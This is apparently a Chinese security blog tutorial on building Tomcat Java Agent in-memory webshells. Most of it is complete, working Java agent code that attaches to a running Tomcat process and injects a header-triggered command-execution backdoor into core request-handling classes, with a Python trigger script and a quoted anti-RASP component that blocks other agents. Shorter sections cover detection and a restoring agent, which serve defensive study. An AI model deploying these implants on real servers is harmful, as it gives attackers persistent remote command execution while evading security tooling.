Tomcat Agent 型内存马

对 Tomcat Agent 型内存马的介绍

背景介绍

Java Agent 我们已经熟悉过了,在内存马方面,主要还是使用 Attach 模式

环境搭建

需要两个环境,一个用于生成 Agent 的 Jar 文件,依赖(JDK8u341):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

<dependency>
<groupId>jdk.tools</groupId>
<artifactId>jdk.tools</artifactId>
<version>1.0.0</version>
<scope>system</scope>
<systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>

<archive>
<manifestEntries>
<Project-name>${project.name}</Project-name>
<Project-version>${project.version}</Project-version>
<Agent-Class>TomcatAgent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>

另一个是普通的 Tomcat 环境(JDK8u341、Tomcat8.5.84):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<packaging>war</packaging>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>3.3.1</version>
</plugin>
</plugins>
<finalName>hello</finalName>
</build>

<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.84</version>
<scope>provided</scope>
</dependency>
</dependencies>

一个测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(urlPatterns = "/")
public class Hello extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html>");
out.println("<head>");
out.println("<title>Hello World!</title>");
out.println("</head>");
out.println("<body>");
out.println("<h1>Hello World!</h1>");
out.println("<h2>Hello World!</h2>");
out.println("<h3>Hello World!</h3>");
out.println("<h4>Hello World!</h4>");
out.println("<h5>Hello World!</h5>");
out.println("</body>");
out.println("</html>");
}
}

内存马构建

doFilter

这里先使用 ApplicationFilterChain 来演示,将 ApplicationFilterChain 作为 Agent 修改的对象,它管理着一组 filter 的调用,它的 doFilter 会调用 internalDoFilter,后者依次取出各种 filter 并链式调用其 doFilter 方法,网上讨论比较多的思路就是利用 Javaassist 在ApplicationFilterChain#doFilter开头插入恶意 Java 代码 Payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;

public class TomcatAgent {
public static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";

public static void agentmain(String args, Instrumentation inst) throws Exception {
for (Class clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals(CLASSNAME)) {
inst.addTransformer(new TomcatTransformer(), true);
inst.retransformClasses(clazz);
}
}
}

public static void main(String[] args) throws Exception {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor desc : list) {
String name = desc.displayName();
String pid = desc.id();

if (name.contains("org.apache.catalina.startup.Bootstrap")) {
// name.contains("com.example.springbootdemo.SpringBootDemoApplication")
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
vm.detach();
System.out.println("attach ok");
break;
}
}
}
}

class TomcatTransformer implements ClassFileTransformer {
public static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
public static final String CLASSMETHOD = "doFilter";

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool pool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(ccp);
}
if (className.replace("/", ".").equals(CLASSNAME)) {
CtClass clazz = pool.get(CLASSNAME);
CtMethod method = clazz.getDeclaredMethod(CLASSMETHOD);
method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" +
"String cmd = httpServletRequest.getHeader(\"Cmd\");\n" +
"if (cmd != null) {\n" +
" Process process = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream input = process.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" +
" StringBuilder sb = new StringBuilder();\n" +
" String line = null;\n" +
" while ((line = br.readLine()) != null) {\n" +
" sb.append(line + \"\\n\");\n" +
" }\n" +
" br.close();\n" +
" input.close();\n" +
" response.setContentType(\"text/html;charset=utf-8\");\n" +
" response.getWriter().print(sb.toString());\n" +
" response.getWriter().flush();\n" +
" response.getWriter().close();\n" +
"}");
byte[] classbyte = clazz.toBytecode();
clazz.detach();
return classbyte;
}
} catch (Exception e) {
e.printStackTrace();
}
return classfileBuffer;
}
}

先把上面的代码使用mvn assembly:assembly打包(注意修改 Jar 的目录),然后运行 Tomcat 服务器,再运行上面的代码,即可注入,利用下面的脚本来验证:

1
2
3
4
5
6
7
8
9
import requests

cmd = "ipconfig"
url = "http://localhost:8080/AgentShell_war_exploded/"

header = {"Cmd": cmd}
r = requests.get(url, headers=header)

print(r.text)

这种类型的 Agent 在于命令被执行了多次(受到 Tomcat 自身和手动添加的 filter 的影响),我们应该使用下面这种

invoke

org.apache.catalina.core.StandardWrapperValve#invoke只会执行一次,可以换用它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;

public class TomcatAgent {
// public static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";

public static void agentmain(String args, Instrumentation inst) throws Exception {
for (Class clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals(CLASSNAME)) {
inst.addTransformer(new TomcatTransformer(), true);
inst.retransformClasses(clazz);
}
}
}

public static void main(String[] args) throws Exception {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor desc : list) {
String name = desc.displayName();
String pid = desc.id();

if (name.contains("org.apache.catalina.startup.Bootstrap")) {
// name.contains("com.example.springbootdemo.SpringBootDemoApplication")
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
vm.detach();
System.out.println("attach ok");
break;
}
}
}
}

class TomcatTransformer implements ClassFileTransformer {
// public static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";
// public static final String CLASSMETHOD = "doFilter";
public static final String CLASSMETHOD = "invoke";

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool pool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(ccp);
}
if (className.replace("/", ".").equals(CLASSNAME)) {
CtClass clazz = pool.get(CLASSNAME);
CtMethod method = clazz.getDeclaredMethod(CLASSMETHOD);
method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" +
"String cmd = httpServletRequest.getHeader(\"Cmd\");\n" +
"if (cmd != null) {\n" +
" Process process = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream input = process.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" +
" StringBuilder sb = new StringBuilder();\n" +
" String line = null;\n" +
" while ((line = br.readLine()) != null) {\n" +
" sb.append(line + \"\\n\");\n" +
" }\n" +
" br.close();\n" +
" input.close();\n" +
" response.setContentType(\"text/html;charset=utf-8\");\n" +
" response.getWriter().print(sb.toString());\n" +
" response.getWriter().flush();\n" +
" response.getWriter().close();\n" +
"}");
byte[] classbyte = clazz.toBytecode();
clazz.detach();
return classbyte;
}
} catch (Exception e) {
e.printStackTrace();
}
return classfileBuffer;
}
}

避免多次执行的问题,另外内存马一旦注入了之后Agent.jar就不能删除,必须得一直保存在目标服务器上

反序列化

也可以使用反序列化漏洞打入内存马,把反序列化执行的 Payload 改为 attach 的代码即可,可以参考:浅谈 Java Agent 内存马

内存马查杀

这里使用sa-jdi.jarDump 出字节码进行分析:

1
java -cp sa-jdi.jar sun.jvm.hotspot.HSDB

搜索可能被 Agent 修改的类,Dump 出字节码进行分析:

Find2

反编译:

Dump

就发现内存马的存在了,关于如何清除内存马,要建立在查杀的基础上,利用 Agent 来还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;

public class AgentClear {
public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";

public static void agentmain(String args, Instrumentation inst) throws Exception {
for (Class clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals(CLASSNAME)) {
inst.addTransformer(new RecoveryTransform(), true);
inst.retransformClasses(clazz);
}
}
}

public static void main(String[] args) throws Exception {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor desc : list) {
String name = desc.displayName();
String pid = desc.id();

if (name.contains("org.apache.catalina.startup.Bootstrap")) {
System.out.println("To: " + pid);
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\AgentClear\\target\\AgentClear-1.0-SNAPSHOT-jar-with-dependencies.jar");
vm.detach();
System.out.println("attach ok");
break;
}
}
}
}

class RecoveryTransform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(className);
byte[] bytes = clazz.toBytecode();
clazz.detach();
System.out.println(className + " 已经被还原");
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
return classfileBuffer;
}
}

运行后就能看见:

Recovery

内存马就此失效,清除这种内存马并不难,难的是如何寻找受影响的类,在此基础上衍生出来的 ZhouYu 内存马,在使用 Agent 写入内存马的基础上,还阻止其它 Agent 的加载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package zhouyu.core.init;

import java.io.ByteArrayInputStream;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;
import zhouyu.core.transformer.Transformer;

public class ProtectTransformer implements Transformer {

@Override
public boolean condition(String className) {
return false;//这里false,意味着,比周瑜这个javaagent更早启动的javaagent,是不会被检测和干掉的!(意味着,正在运行的rasp不会被干掉)
}

@Override
public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) {
return check(className, loader, codeBytes);
}

private byte[] check(String className, ClassLoader loader, byte[] codeBytes) {
CtClass ctClass = null;
try {
ClassPool classPool = ClassPool.getDefault();
ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes));
if (ctClass != null && check0(className, ctClass)) {
return new byte[0];
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
return codeBytes;
}

/**
* 递归检测java.lang.instrument.ClassFileTransformer接口,防止多层嵌套interface结构绕过
*
* @param className
* @param ctClass
* @return
* @throws Throwable
*/
private boolean check0(String className, CtClass ctClass) throws Throwable {
CtClass[] interfaces = ctClass.getInterfaces();
if (interfaces != null) {
boolean flag = false;
for (CtClass anInterface : interfaces) {
//遇到其它的agent,直接干掉它,不让它加载
if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
System.out.println(String.format("[ZhouYu] 有新的agent: %s 加载,把它干掉!", className));
return true;
}
flag |= check0(className, anInterface);
if (flag) {
return flag;
}
}
}
return false;
}
}

在这里,参考了别的文章:

在这里其实不影响随后 javaagent 加载的。原因在于,javaagent 修改类的字节码的关键在于用户需要编写继承自java.lang.instrument.ClassFileTransformer,去完成修改字节码的工作。而周瑜内存马的方法在于,如果发现某个类继承自ClassFileTransformer,则将其字节码修改为空。但是在这里并不会影响 JVM 加载一个新的 javaagent。周瑜内存马该功能只会破坏 RASP 的正常工作

周瑜内存马正常通过 javaagent 加载并查杀即可,不会受到任何影响的,或者我们也可以通过 redefineClass 的方法去修改类的字节码

这里我没有去做测试,不过这种想法确实挺不错的


本文参考链接:

Java Agent 内存马

浅谈 Java Agent 内存马